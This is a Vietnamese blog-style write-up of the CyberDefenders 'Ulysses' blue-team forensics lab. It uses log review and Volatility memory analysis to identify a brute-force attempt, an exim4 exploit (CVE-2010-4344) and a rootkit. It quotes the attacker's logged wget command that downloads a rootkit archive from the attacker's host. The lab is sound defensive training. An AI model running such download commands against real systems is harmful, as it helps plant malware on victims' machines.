# WRITEUP FOR CYBERDEFENDERS ULYSSES BLUE TEAM LAB CHALLENGE **Hi xin chào mọi người lại là mình đây, vừa học về ngồi mò xem có lab nào k thì phát hiện ra lab này, ok đấm thôi ae** ![image](https://hackmd.io/_uploads/S19yAlc2p.png) file: https://download.cyberdefenders.org/BlueYard/c24-Ulysses.zip password: cyberdefenders.org Setup profile theo hướng dẫn thoi:![image](https://hackmd.io/_uploads/HyxVAlq3T.png) Mount file sda1 bằng lệnh hoặc mở bằng FTK ( mình chọn thao tác trên terminal luôn cho tiện :>) ``` mkdir mnt mount victoria-v8.sda1.img mnt ``` Xong xuôi hết thì vào việc thôi nào!! ***Q1: The attacker was performing a Brute Force attack. What account triggered the alert?*** Mở terminal ở ổ đĩa vừa mount xem có gì thoi nào: ![image](https://hackmd.io/_uploads/BJdNkZ93p.png) Check file log thoi ``` cat var/log/auth.log ``` ![image](https://hackmd.io/_uploads/r15u1-52p.png) Có thể thấy hàng loạt những phép thử đến từ vị trí user ulysses. ***Ans: ulysses*** ***Q2: How many were failed attempts there?*** Dùng combo thần thánh strings grep để giải thoi: ``` strings var/log/auth.log | grep Failed | wc -l ``` ***Ans: 32*** ***Q3: What kind of system runs on the targeted server?*** Cat file syslog ra coi thử ``` sudo cat var/log/installer/syslog ``` ![image](https://hackmd.io/_uploads/B1oNf-cnp.png) ***Ans: Debian GNU/Linux 5.0*** ***Q4: What is the victim's IP address?*** Mở volatility lên xem thôi: ``` python2 vol.py -f victoria-v8.memdump.img --profile=LinuxDebian5_26x86 linux_netstat ``` ![image](https://hackmd.io/_uploads/rkaCf-52T.png) Dễ dàng nhận thấy local address là 192.168.56.102 ***Ans: 192.168.56.102*** ***Q5: What are the attacker's two IP addresses? Format: comma-separated in ascending order*** Dựa vào Q4: Ngoài IP của victim ra còn 2 IP nữa, kết luận ngay 2 IP này chính là IP của attacker! ***Ans: 192.168.56.1,192.168.56.101*** ***Q6: What is the "nc" service PID number that was running on the server?*** ``` python2 vol.py -f victoria-v8.memdump.img --profile=LinuxDebian5_26x86 linux_pslist ``` ![image](https://hackmd.io/_uploads/H1ThiWcna.png) Dễ dàng thấy ở cuối list là process nc đang hoạt động với PID 2169. ***Ans: 2169*** ***Q7: What service was exploited to gain access to the system? (one word)*** ``` python2 vol.py -f victoria-v8.memdump.img --profile=LinuxDebian5_26x86 linux_pslist ``` ![image](https://hackmd.io/_uploads/H1qtQZ9hp.png) Ta có thể thấy process exim4 được spawn dưới process sshd, check thư mục exim4 trong thư mục /var/log, cat file mainlog ![image](https://hackmd.io/_uploads/HkQEVZ52p.png) Dễ dàng thấy hàng loạt reject, dựa vào đó ta có thể kết luận process exim4 chính là process bị exploited. ***Ans: exim4*** ***Q8: What is the CVE number of exploited vulnerability?*** Google exim4 CVE-2010 thì thấy 2 CVE 4344 với 4345, dựa vào details thì mình thấy CVE-2010-4344 này dựa trên buffer overflow, cat file rejectlog trong folder exim4 ra thì thấy đống header như này mình kết luận luôn![image](https://hackmd.io/_uploads/rkGVjWqna.png) ***Ans: CVE-2010-4344*** ***Q9: During this attack, the attacker downloaded two files to the server. Provide the name of the compressed file.*** Cat mainlog ra để kiểm tra, dễ dàng thấy được câu lệnh tải xuống wget ``` wget http://192.168.56.1/rk.tar -O /tmp/rk.tar ``` ***Ans: rk.tar*** ***Q10: Two ports were involved in the process of data exfiltration. Provide the port number of the highest one.*** Dựa vào Q4 để giải ***Ans: 8888*** ***Q11: Which port did the attacker try to block on the firewall?*** Câu này mình bó tay bó chân nên mở hint lên xem ![image](https://hackmd.io/_uploads/HJcvrZ52p.png) Ok anaylize thôi Giải nén file bằng ``` sudo tar -xvf rk.tar ``` ![image](https://hackmd.io/_uploads/B11Trbqh6.png) Kiểm tra file install.sh bằng lệnh cat ``` cat rk/install.sh ``` ![image](https://hackmd.io/_uploads/rJTUUZ536.png) ***Ans: 45295*** Thanks for reading ><